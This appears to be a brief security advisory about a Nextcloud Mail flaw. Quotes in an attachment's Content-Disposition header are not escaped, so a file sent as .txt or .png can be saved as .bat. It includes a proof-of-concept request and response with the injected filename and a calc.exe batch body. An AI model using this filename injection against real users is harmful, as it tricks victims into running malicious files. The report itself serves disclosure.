Download of file with arbitrary extension via injection into attachment header

When downloading mail attachments, the app fails to properly escape quotes in the content disposition header. Because of this, an attacker can send a victim a file with a benign extension such as `.txt` or `.png` which when downloaded will be stored with a malicious extension such as `.bat` or …

    GET /nextcloud/index.php/apps/mail/api/messages/26/attachment/2 HTTP/1.1
    Host: 192.168.0.101

    HTTP/1.1 200 OK
    [...]
    Content-Disposition: attachment; filename="test.bat".png"
    [...]
    Content-Type: application/octet-stream

    C:\Windows\system32\calc.exe